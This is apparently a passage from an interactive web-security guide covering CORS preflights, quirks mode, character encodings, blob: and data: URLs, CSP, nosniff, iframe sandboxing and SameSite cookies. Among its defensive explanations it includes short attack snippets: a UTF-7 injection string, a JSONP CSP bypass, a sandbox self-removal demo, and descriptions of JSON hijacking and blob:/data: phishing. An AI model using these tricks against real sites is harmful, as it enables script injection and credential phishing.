Access-Control-Request-MethodandAccess-Control-Request-Headers(lower-cased, sorted). The server answers with the methods and headers it allows. Access-Control-Max-Agelets the browser remember the answer per URL. Without it, about 5 seconds; Chromium caps it at 2 hours, Firefox at 24.OPTIONSis older than CORS: an HTTP method for "what can I do here?". A plainOPTIONSrequest is answered with anAllow: GET, POST, …header, andOPTIONS *asks about the whole server.- Your own script can send
OPTIONSwithfetch(url, { method: 'OPTIONS' })orxhr.open('OPTIONS', url). To another site that is itself a non-simple request, so the browser first sends a preflightOPTIONSasking whether it may send yours: twoOPTIONSin a row (recorded below). The server must allowOPTIONSinAccess-Control-Allow-Methods, and itsAllowheader is readable only if it is listed inAccess-Control-Expose-Headers. - A script can't forge a preflight.
OriginandAccess-Control-Request-*are forbidden request headers: setting them throws no error, the browser just sends its own.no-corsmode allows only GET, HEAD and POST,TRACEis refused outright, andOPTIONS *can't be written as a URL at all; HTML forms,sendBeaconand<a ping>can't sendOPTIONSeither. Outside the browser (curl -X OPTIONS, Node.js, Python) none of this applies.
MDN's example as the server saw it, from Chromium 156 (trimmed). The second identical request sent no new OPTIONS; in a headless Firefox run it did:
OPTIONS /preflight HTTP/1.1
Origin: http://localhost:8765
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type,x-pingother
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://localhost:8765
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: content-type,x-pingother
Access-Control-Max-Age: 600
POST /preflight HTTP/1.1
Origin: http://localhost:8765
X-PINGOTHER: pingpong
Content-Type: text/xml
<person><name>Arun</name></person>
One fetch(url, { method: 'OPTIONS' }) from Chromium 156, as the server saw it (trimmed):
OPTIONS /opt-fetch HTTP/1.1 ← the browser's preflight
Origin: http://localhost:8765
Access-Control-Request-Method: OPTIONS
OPTIONS /opt-fetch HTTP/1.1 ← your request
Origin: http://localhost:8765
When that server allowed only GET, POST, PUT, only the first request arrived and the script got TypeError: Failed to fetch.
The first two buttons send MDN's request to httpbin.org, which allows any header and caches its answer for an hour. A preflight costs one extra round trip, so the first request is slower than the repeat.
Sending OPTIONS yourself:
Every way OPTIONS shows up in a browser
| Who sends it | When | Can your script see it? |
|---|---|---|
| The browser, as a CORS preflight | Before a cross-origin fetch() or XHR that is not simple (see above). Answers are cached per URL for Access-Control-Max-Age. | noNot in Resource Timing, not in any event. DevTools → Network lists it as its own row (Chromium: type "preflight"), and a refusal is explained only in the console. |
Your script: fetch(url, { method: 'OPTIONS' }) or xhr.open('OPTIONS', url) | When you want to ask a URL what it supports, e.g. its Allow header, or test that a server answers preflights at all. | same origin: yesCross-origin it is preflighted by another OPTIONS, the server must allow the method, and only exposed headers are readable. |
Forms, links, <img>, <script>, CSS, sendBeacon, <a ping>, mode: 'no-cors' | Never. These only make GET and POST, which is why they need no preflight. | n/a |
Not a browser: curl -X OPTIONS, Node.js, Python, Postman | Whenever asked, including OPTIONS * for the whole server, and never preflighted. | everythingThere is no CORS outside browsers. |
"It works in curl but not in the browser"
The usual reason is the preflight. curl sends only the real request; the browser sends an OPTIONS first, and the server mishandles it:
- No route for
OPTIONS. The server answers 404 or 405, which counts as no, so everyPUT,DELETEand JSONPOSTfails withTypeError: Failed to fetch. CORS middleware (for example thecorspackage in Express) answersOPTIONSfor you. - Login checks run on
OPTIONS. The preflight carries no cookies and noAuthorizationheader, so an auth layer replies 401 and the real request is never sent. Answer preflights before checking who is calling. - A header is missing from
Access-Control-Allow-Headers, typicallyAuthorizationorContent-Typeonce the body is JSON. Access-Control-Allow-Origin: *with credentials. Withcredentials: 'include'the server must name the origin exactly and sendAccess-Control-Allow-Credentials: true.- A cache shares one origin's answer with another. A server that echoes the caller's origin must also send
Vary: Origin.
The console names the exact reason, e.g. "Response to preflight request doesn't pass access control check: …"; the script only ever sees TypeError.
Older HTML and quirks mode
The doctype chooses a layout mode, not a security model. Without <!doctype html> (or with an old HTML 4 doctype) the browser lays the page out in quirks mode, copying the bugs of 1990s browsers: a different box model, tables that don't inherit font sizes, and so on. The boundaries on this page do not change: the same-origin wall, CORS, sandbox, Content Security Policy, mixed-content blocking and storage partitioning apply to a 1999 HTML 4.01 page exactly as to a new one.
- One real exception: stylesheet types. In quirks mode a stylesheet from the same site is applied even if the server calls it
text/plain, for the sake of old servers. A stylesheet from another site must betext/cssin every mode, andX-Content-Type-Options: nosniffremoves the exception too. The rule dates from 2009 to 2010, when pages loaded someone else's logged-in HTML (a webmail inbox, say) as a "stylesheet" and let the forgiving CSS parser turn scraps of it into style values they could read. srcdocframes are never in quirks mode, with or without a doctype; the HTML standard says so. Ablob:ordata:page without a doctype is.<frameset>and<frame>from HTML 4 still work and follow the same origin rules as iframes (named targets,parent,top), but have none of the newer controls: nosandbox, noallow, noloading="lazy".
- Frame busting was the HTML 4 era's defence against being framed:
if (top != self) top.location = self.location. Attackers defeated it, for example by sandboxing the frame so the jump is blocked, which the last row below does.X-Frame-Options(2009) and thenframe-ancestorsreplaced it. - Content sniffing: old Internet Explorer guessed file types, so an uploaded "image" with HTML inside could run as a page on your site;
nosniffarrived with IE8 in 2008. The SVG and PDF upload problems above are its descendants. - UTF-7: pages that didn't declare a character set could be made to read
+ADw-script+AD4-as<script>.<meta charset="utf-8">fixed it, and browsers dropped UTF-7 (see the encodings card). - Plugins (Flash, Java applets in
<object>,<embed>,<applet>) had their own cross-site permission files (crossdomain.xml) before CORS existed. All gone. - XHTML served as XML (
application/xhtml+xml) uses a strict parser and forbidsdocument.write; the boundaries are the same.
| Child page | Mode (document.compatMode) | Result |
|---|---|---|
| not run yet | ||
An HTML 4 <frameset> with two <frame>s, still rendered today:
A sandboxed frame running a classic frame buster:
Character encodings: Big5, Shift_JIS, KOI8-R, and why UTF-7 is gone
Each document decodes its own bytes. A page in an iframe uses its own declared character set (the HTTP Content-Type, a byte-order mark, or <meta charset>), so a Big5 or Shift_JIS page shows correctly inside a UTF-8 page. Which encodings exist at all is one shared list, the WHATWG Encoding Standard, that every current browser follows. It keeps the legacy encodings real pages still use and drops the rest.
- Still supported: UTF-8, UTF-16, single-byte families (windows-125x, ISO-8859-x, KOI8-R/U, IBM866, macintosh), and multi-byte Chinese (GBK, gb18030, Big5), Japanese (Shift_JIS, EUC-JP, ISO-2022-JP) and Korean (EUC-KR).
- Gone: UTF-7 and anything else not on the list: an unknown label is ignored and the page falls back.
new TextDecoder('utf-7')throwsRangeError. - Switched off on purpose: ISO-2022-KR, ISO-2022-CN and HZ-GB-2312 map to a special "replacement" encoding that turns the whole document into one
�. They switch character sets with escape bytes, which made them easy to abuse for script injection. - Names that lie:
ascii,us-ascii,latin1andiso-8859-1all mean windows-1252, a superset, because that is what pages labelled that way really contained.gb2312means GBK.
- ISO 646 national variants (the 1970s 7-bit sets where
[was Ä in Germany or#was £ in Britain) were never web encodings. Their one survivor is Japan's JIS-Roman, where byte0x5Cis ¥: browsers decode Shift_JIS0x5Cas a backslash, but Japanese fonts often draw it as ¥, so Windows paths look likeC:¥Usersthere. - Encodings are still a security boundary. If a server sanitises text as one encoding and the browser reads it as another, the two disagree about where tags start. UTF-7 was the classic case. ISO-2022-JP is the modern one: when a page declares no charset and the browser guesses ISO-2022-JP, escape bytes can hide or reveal characters; security researchers showed this re-opening script injection in 2024.
- The defence: always declare UTF-8, with
Content-Type: text/html; charset=utf-8or<meta charset="utf-8">in the first 1024 bytes. Asrcdocframe has no bytes at all (it is built from a JavaScript string), so these frames areblob:pages made from raw bytes.
URL.createObjectURL(): a URL for data that only lives in your page
URL.createObjectURL(blob) takes data your page already holds (a Blob, a File the user picked, a recording) and gives it an address like blob:https://you.example/1f0c…. Anything that takes a URL can then use it: <img>, <video>, <iframe>, fetch(), a Worker, a download link. Nothing is uploaded; the URL points into this page's memory. This page uses it for the generated PDF, SVG and quirks-mode children above.
- It belongs to your origin. The origin is written into the URL, only pages of that origin can load it, and the random part can't be guessed. A sandboxed or cross-origin frame that is handed the URL still can't fetch it.
- An HTML blob runs as your site. A
blob:page in an iframe gets the creator's origin, so its scripts can read your page and cookies. Adata:URL page gets a fresh opaque origin instead. Never turn untrusted HTML into a blob URL and load it: that is cross-site scripting with extra steps. - It lives until you revoke it with
URL.revokeObjectURL(url), or until the page that made it closes. Until then the data stays in memory, so long-running pages that make many blob URLs leak. Revoking stops new loads; an image already shown stays. - Content Security Policy treats it separately:
'self'does not includeblob:, so a page with a CSP must listblob:inimg-src,worker-srcor wherever it is used. - Everyday uses: previewing a picked photo without uploading it, "Save" buttons (
<a href="blob:…" download="report.csv">), workers built from a string, and video players:createObjectURL(mediaSource)is how streaming sites feed video in chunks. - It has been abused for phishing: a fake login page opened as a top-level
blob:URL exists only in the victim's browser, so link scanners and blocklists never see it, and the address bar shows the origin of whatever site created it. file://pages get URLs likeblob:null/…; some features (such as audio worklets) refuse them there.
A page in base64: data: URLs, and what HTTP won't decode
Can a page be sent as base64? Only inside a URL. data:text/html;base64,PGgxPkhpPC9oMT4= carries the whole page in the address itself (RFC 2397, 1998), so there is no server and no request. A web server, though, can't send base64 and expect the browser to decode it: HTTP has no such encoding.
- The format:
data:, a type, optional;charset=…, optional;base64, a comma, then the data. Without;base64the data is percent-encoded text. Base64 turns every 3 bytes into 4 characters, so the URL is a third bigger than the file. - It works inside pages: an
<iframe>,<img>, a CSS background, a font, a download link. Adata:document gets a new opaque origin (self.originis"null"), so it can't read the page that made it, nor that page it. The same HTML as ablob:URL runs as your site. - It can't take over the tab. Until 2017 a phishing email could link to a
data:page that looked exactly like a bank's login, with an address bar startingdata:text/html,https://bank…. Chrome 60 and Firefox 59 stopped pages from sending the whole tab to adata:URL, whether by script or by a link the user clicks; Chromium logs "Not allowed to navigate top frame to data URL". Typing or pasting one into the address bar still works. - HTTP has no base64.
Content-Encodingmeans compression, and browsers only undogzip,deflate,brandzstd; an unknown value is ignored and the base64 text is shown as is.Content-Transfer-Encoding: base64is an email header; the web ignores it. - MHTML, the "save as one file" format, is an email message with base64 parts. Browsers open it from a local file, but in my tests neither would show one served over HTTP.
btoa()only takes Latin-1.btoa("é")works,btoa("€")throws. For real text, encode to UTF-8 bytes first (TextEncoder), then base64 the bytes, and write;charset=utf-8in the URL.- Base64 hides things from filters. A filter that looks for
<script>won't recognisePHNjcmlwdD4=, which is the same text in base64. And a CSP that allowsdata:inscript-srclets injected markup run any script it can encode, which is why the'self'demo blocks it.
Recorded against a local server that sent one small page each way:
| How the page arrives | Chromium 156 | Firefox 160 |
|---|---|---|
base64 body with Content-Encoding: base64 | raw base64 shown | raw base64 shown |
base64 body with Content-Transfer-Encoding: base64 | raw base64 shown | raw base64 shown |
MHTML (multipart/related, base64 part) over HTTP | not shown | not shown |
data: URL in an <iframe> | shown, origin null | shown, origin null |
the page script sets location.href to a data: URL | refused | refused |
the user clicks a link to a data: URL | refused | not tested |
the user types the data: URL | not tested | shown |
The two untested cells are tool limits, not browser results: headless Firefox can't click, and the test browser's tools can't type a data: URL.
Edit the page, then encode it. The script inside reports its origin and tries to read this page.
(press Encode)
7The defences, one by one
Most of the boundaries above are switched on by default. These five are the ones a site turns on itself, mostly with HTTP response headers. Each arrived after an attack had become common.
X-Frame-Options, then frame-ancestors: who may frame me
X-Frame-Options(Internet Explorer 8, 2009, after clickjacking was demonstrated in 2008) is a response header on the page being framed:DENY(nobody) orSAMEORIGIN(only my own pages). Its third value,ALLOW-FROM uri, was never supported widely and is now ignored.Content-Security-Policy: frame-ancestorsreplaced it:'none','self'or a list of origins, checked against every ancestor, not just the parent. If a page sends both, browsers obeyframe-ancestorsand ignoreX-Frame-Options.- Header only. In a
<meta>tagframe-ancestorsdoes nothing; Chromium logs "The Content Security Policy directive 'frame-ancestors' is ignored when delivered via a <meta> element." (the fourth tile).
- The framer can't tell. A refused page loads as an empty or error frame, the
loadevent still fires, andcontentDocumentisnullas for any other site (see the load lab). - What it stops: clickjacking, and pages spying on how your site behaves inside a frame. Banks, logins and settings pages should send
frame-ancestors 'none'(or'self'). - Headers seen on 19 November 2026: google.com
X-Frame-Options: SAMEORIGIN; youtube.comSAMEORIGIN; github.comX-Frame-Options: denyplus a long CSP; example.com and httpbin.org neither.
iframe sandbox: take powers away from a frame
An empty sandbox attribute gives the child an opaque origin and switches off scripts, forms, popups, dialogs, downloads and top-level navigation. Each token gives one power back. The sandbox lab in section 4 toggles them live.
| Token | Gives back |
|---|---|
allow-scripts | JavaScript. Without it no script runs, inline event handlers included. |
allow-same-origin | The child's real origin, so cookies, storage and same-origin access work. Without it the origin is "null". |
allow-forms | Submitting forms. |
allow-popups, allow-popups-to-escape-sandbox | Opening windows; with the second, those windows are no longer sandboxed (for "open in new tab" links in ads). |
allow-modals | alert(), confirm(), prompt(), print(). |
allow-top-navigation, allow-top-navigation-by-user-activation | Navigating the whole tab away (the second only after a click). Missing, it is why the frame buster failed. |
allow-downloads | Starting downloads. |
allow-pointer-lock, allow-presentation, allow-orientation-lock, allow-storage-access-by-user-activation | Mouse capture for games, casting, locking screen rotation, and asking for unpartitioned cookies. |
- Never
allow-scripts+allow-same-originon your own content. The child can reach its own<iframe>element throughframeElement, delete thesandboxattribute and reload. Sandbox flags are fixed when a frame navigates, so the reload comes back unsandboxed. The demo does exactly that. (For content from another origin the pair is fine: the child can't reach the parent's DOM.) - A server can sandbox its own page with the header
Content-Security-Policy: sandbox allow-scripts, even when it is opened directly. That is the clean way to serve user uploads such as the SVG and HTML files above. sandboxis notallow.allow="camera; fullscreen"(Permissions Policy) grants device features; it can only narrow what the parent itself has.
A same-origin child in sandbox="allow-scripts allow-same-origin" tries to submit a form (blocked: no allow-forms), then removes its own sandbox and reloads.
Content Security Policy: where this page may load things from
A Content Security Policy is a response header (or a <meta> tag) that lists, per kind of resource, where a page may load it from. The browser enforces it. It does not stop an attacker from injecting HTML into your page, but it stops most injected HTML from doing anything: inline scripts don't run, scripts from strange hosts don't load, and stolen data can't be sent to an unknown server.
- Fetch directives:
default-src(the fallback),script-src,style-src,img-src,font-src,connect-src(fetch, XHR, WebSocket, beacons),media-src,frame-src,worker-src,object-src(set it to'none'). - Script rules:
'nonce-…'(a random value per page load that a script tag must carry) or'sha256-…'(a hash of an inline script) allow chosen inline scripts;'strict-dynamic'lets those scripts load others;'unsafe-inline'and'unsafe-eval'switch the protection back off. Inline event handlers (onclick="…") are blocked too. - Other directives:
frame-ancestors,form-action,base-uri,sandbox,upgrade-insecure-requests.
- Reports: blocked loads fire a
securitypolicyviolationevent in the page and can be sent to a server (report-to).Content-Security-Policy-Report-Onlyreports without blocking, for trying a policy out; Wikipedia sent one on 19 November 2026. <meta>limits: a meta policy can't useframe-ancestors,sandboxor reporting, and only covers what loads after it.- Several policies (headers plus meta) all apply: a load must pass every one.
Each column loads a child page with a different policy in a <meta> tag. The child's own test script carries the nonce, then tries six things.
| Test | No policy | default-src 'self'; script-src 'nonce-…' | … plus https://cdn.jsdelivr.net for scripts, img-src *, connect-src https://httpbin.org |
|---|---|---|---|
| not run yet | |||
What 'self' covers, and what it trusts too much. script-src 'self' is the most common script rule. It reads as "only my own scripts", but the browser takes it to mean "any URL on my origin, whatever it serves".
- It means this page's origin: scheme, host and port. Not
www.or other subdomains, not another port, and not127.0.0.1when the page islocalhost. The quotes matter:selfwithout them is a host named "self". - It covers URLs only. Inline scripts,
onclick="…"handlers,javascript:URLs andevalstill need a nonce, a hash or an'unsafe-…'keyword.blob:anddata:URLs never match'self', not even a blob URL the page made itself. - Two details from CSP Level 3: on an
http://page,'self'also allowshttps://andwss://on the same host, since upgrading is safe. A same-origin script that redirects elsewhere is checked again at the final URL, so an open redirect on your site does not get around it.
- The weakness: CSP limits what injected HTML can do, after the attacker has slipped in a
<script src="…">. Under'self'the attacker only needs one URL on your origin whose response the JavaScript engine will parse: a JSONP endpoint (?callback=alert(1)//), a user upload served from your origin (any type runs withoutnosniff), an error page that echoes input, an old library with "script gadgets" such as AngularJS 1.x, or a forgotten test page. - The fix is a strict policy: a 2016 Google study of real policies ("CSP Is Dead, Long Live CSP!", Weichselbaum et al.) found about 95% of host allowlists could be bypassed. It recommends
script-src 'nonce-…' 'strict-dynamic'; object-src 'none'; base-uri 'none': only scripts carrying this page load's nonce run, plus what they load.'strict-dynamic'makes the browser ignore'self'and host names. An injected tag has no nonce, so even a same-origin file fails. - Elsewhere
'self'is a good fit:img-src,connect-src,form-actionandframe-ancestors 'self'limit data, not code.
Live: a child page whose only rule is script-src 'self'. It is this page loaded again with ?csp-self-child: a line at the top writes the policy and then an old <plaintext> tag, which turns the rest of the page into inert text. Its own scripts would be blocked too, so this page reaches into it (they share an origin) and adds each script itself. (A blob: or srcdoc child would not do: Firefox 160 then matches nothing as 'self'.) A securitypolicyviolation event means CSP blocked it.
| The child tries | Result | How we know |
|---|---|---|
| not run yet | ||
X-Content-Type-Options: nosniff: believe the label
Every HTTP response carries a Content-Type. Browsers used to second-guess it: Internet Explorer would look inside a file sent as an image, see HTML, and render it as a page on the site that hosted it. nosniff (IE8, 2008) tells the browser to trust the label. Today it matters most for scripts and stylesheets.
- Scripts: with
nosniff, a script must carry a JavaScript type. Without it, browsers still run JavaScript sent astext/plainor eventext/html, for old servers. Image, audio, video and CSV types are refused as scripts either way. - Stylesheets must be
text/csswhen cross-origin (and in standards mode);nosniffalso ends the quirks-mode exception. - Why so forgiving? Classic
<script src>never checked the type, and old servers labelled JavaScript badly: PHP sendstext/htmlunless told otherwise, and Apache and IIS setups usedtext/plainorapplication/octet-stream. Too many working pages still depend on that to switch it off. The strict checks went into newer features instead: atype="module"script must be served as JavaScript, with no exceptions and no header needed. - JSON hijacking, 2006: an attacker page loaded
<script src="https://bank.example/api/accounts">. The browser sent the victim's cookies, the JSON array came back, and a JSON array is valid JavaScript. Engines of the time let the page redefineArrayand read the values as they were built. Engines closed that hole around 2009, and sites began prefixing JSON with)]}'orwhile(1);so that it could not run as a script. - Spectre (2018) brought it back in a new form: no JavaScript trick is needed if the bytes merely land in the attacker page's memory. Opaque Response Blocking (ORB, the successor of CORB) is the answer: a cross-origin response loaded by
<script>,<img>or<video>without CORS is dropped before it reaches the page if it looks like HTML, JSON or XML. The second table shows that "looks like" means different things in Chromium and Firefox. JSON arrays, the hijacking payload, still get through in Chromium unless the server sendsnosniff. - Send it on everything, together with correct types. It costs nothing. jsDelivr, unpkg, cdnjs, GitHub's API and httpbin all send it today.
Recorded in Chromium 156 against a local server that sent a one-line script (or rule) with each type, with and without nosniff:
| Served as | As a cross-origin script, no nosniff | with nosniff |
|---|---|---|
text/javascript | ran | ran |
text/plain | ran | refused |
application/octet-stream | ran | refused |
text/html | ran | refused |
application/json | ran | refused |
image/png, text/csv | refused | refused |
stylesheet: text/css / text/plain | applied / ignored | applied / ignored |
ORB, recorded in Chromium 156 and Firefox 160: the same local server, no nosniff, loading a JSON body with <script src> from another origin. "Delivered" means the script engine received the bytes. A JSON array then runs and does nothing; a JSON object or a prefixed file is a syntax error, reported only as "Script error.". "Blocked" means the element's error event fired and the page never got the bytes (Chromium's DevTools calls it net::ERR_BLOCKED_BY_ORB).
| Body | Served as | Chromium 156 | Firefox 160 |
|---|---|---|---|
| Real JavaScript | any type in the first table | ran | ran |
JSON array[{…}] | text/javascript | delivered | delivered |
application/json, text/html, text/plain, application/octet-stream | delivered | blocked | |
JSON object{…} | text/javascript | blocked | delivered, syntax error |
| the other four | blocked | blocked | |
Prefixed JSON)]}'{…} | text/javascript | blocked | delivered, syntax error |
| the other four | blocked | blocked |
Chromium sniffs the body: anything that looks like a JSON object or a protective prefix is blocked, even under a JavaScript label, but a JSON array passes under any label because it is also valid JavaScript. Firefox trusts a JavaScript label completely, and blocks any other label whose body parses as JSON or doesn't parse as JavaScript. With nosniff, every non-JavaScript label is refused in both, so the JSON-array gap in Chromium closes.
Live: the same left-pad file, once from jsDelivr (text/javascript) and once from raw.githubusercontent.com (text/plain plus nosniff).
Live: public JSON from jsDelivr (application/json plus nosniff) loaded the hijacking way, with <script src>, and then the intended way, with fetch(). jsDelivr allows CORS, so the data was never secret; the point is which door works.
SameSite cookies: which requests carry my cookies
A cookie goes back to the server that set it on every request to that server, wherever the request starts. That is what made cross-site request forgery work: a page on evil.example posts a form to your bank, and the browser attaches your bank cookie. SameSite (2016; Lax by default in Chromium since 2020) lets the cookie say from which sites it may be sent.
- Site, not origin: a site is the scheme plus the registrable domain, so
app.example.comandwww.example.comare the same site but different origins;http://andhttps://are different sites. Strict: only on requests that start on the same site. Following a link from another site to yours arrives without it, so you look logged out on the first page.Lax: also on top-level navigations with a safe method, that is, following a link (GET). Not on cross-site iframes, images, fetches or form POSTs. Chromium treats cookies without the attribute as Lax, with a quirk: such a cookie set less than two minutes ago still rides on a top-level cross-site POST, so login flows don't break.None: sent everywhere, and only allowed together withSecure. It is still subject to third-party cookie blocking (Safari) and partitioning (Firefox), see section 5.
| Request from another site | Strict | Lax | None |
|---|---|---|---|
| Link click (top-level GET) | no | yes | yes |
| Form POST to the site | no | no | yes |
iframe, <img>, fetch() | no | no | if 3rd-party cookies allowed |
| Response to a cross-site request tries to set it | rejected | rejected | if 3rd-party cookies allowed |
Live: this page asks httpbin.org (another site) to set four cookies with a cross-site fetch(…, { credentials: 'include' }), then asks which cookies it received.
8Using iframes well
- Embedding someone else:
sandboxwith only the tokens it needs, an explicitallowlist,loading="lazy",referrerpolicy="strict-origin-when-cross-origin"or stricter, and atitlefor screen readers. For heavy or tracking embeds, show a static placeholder and load the real iframe on click (the "facade" pattern; YouTube also offersyoutube-nocookie.com). - Being embedded: decide who may frame you with
Content-Security-Policy: frame-ancestors;'none'if nobody. Cookies withSameSite=Lax(the default) are not sent to your site when it is framed by another site. - Talking: always give
postMessagea target origin, always checkevent.originandevent.source, and treatevent.dataas untrusted input. - Loading: use a handshake message to know the child really works; don't trust
loadalone.